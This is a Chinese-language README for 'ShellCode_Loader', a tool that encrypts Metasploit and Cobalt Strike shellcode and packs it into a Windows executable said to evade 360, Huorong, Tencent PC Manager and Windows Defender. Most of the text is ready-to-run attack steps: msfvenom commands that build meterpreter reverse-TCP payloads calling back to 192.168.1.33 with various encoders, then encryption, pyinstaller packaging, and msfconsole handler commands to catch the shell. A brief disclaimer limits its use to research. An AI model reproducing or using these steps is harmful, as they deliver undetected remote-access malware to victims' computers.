ShellCode_Loader - Msf&CobaltStrike免杀ShellCode加载器&加密工具

文章目录

ShellCode_Loader - Msf&CobaltStrike免杀ShellCode加载器&加密工具
一、声明
二、测试环境
三、生成Msf_Payload
四、生成CobaltStrike_Payload
五、加密Payload
六、配置ShellCode加载器
七、打包可执行程序(EXE编译环境)
八、上线测试

ShellCode_Loader - Msf&CobaltStrike免杀ShellCode加载器、Shellcode_encryption - 免杀Shellcode加密生成工具，目前测试免杀360&火绒&电脑管家&Windows Defender（其他杀软未测试）。

一、声明

该项目仅供网络安全研究使用，禁止使用该项目进行违法操作，否则自行承担后果，请各位遵守《中华人民共和国网络安全法》！！！

代码未经过大量测试，如发现问题请提交 issue。

二、测试环境

截至2022年9月3日测试时Windows 10 可免国内杀软：火绒&360&电脑管家及Windows Defender（其他杀软自测）

Windows 7 64位或以上操作系统应该都没问题（没有测试）

三、生成Msf_Payload

默认

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.33 lport=8899 -f c -o payload.c

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.33 lport=8899 -f py -o payload.c

XOR 编码器

msfvenom -e x64/xor -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.33 lport=8899 -f c -o payload.c

动态密钥XOR编码器

msfvenom -e x64/xor_dynamic -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.33 lport=8899 -f c -o payload.c

Zutto Dekiru

msfvenom -e x64/zutto_dekiru -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.33 lport=8899 -f c -o payload.c

四、生成CobaltStrike_Payload

选择使用x64的C语言或Python语言的Shellcode。

得到：payload.c

五、加密Payload

Shellcode_encryption.exe payload.c

六、配置ShellCode加载器

将生成的密文ShellCode 填至 ShellCode_Loader.py 里的 Data = '密文Shellcode’处

示例：

七、打包可执行程序(EXE编译环境)

Python 3.8.6

pyinstaller 4.7

pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
pyinstaller -F -w ShellCode_Loader.py

生成ShellCode_Loader.exe在dist目录中。

八、上线测试

运行监听

msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 8080
msf6 exploit(multi/handler) > run

项目地址：
https://github.com/Axx8/ShellCode_Loader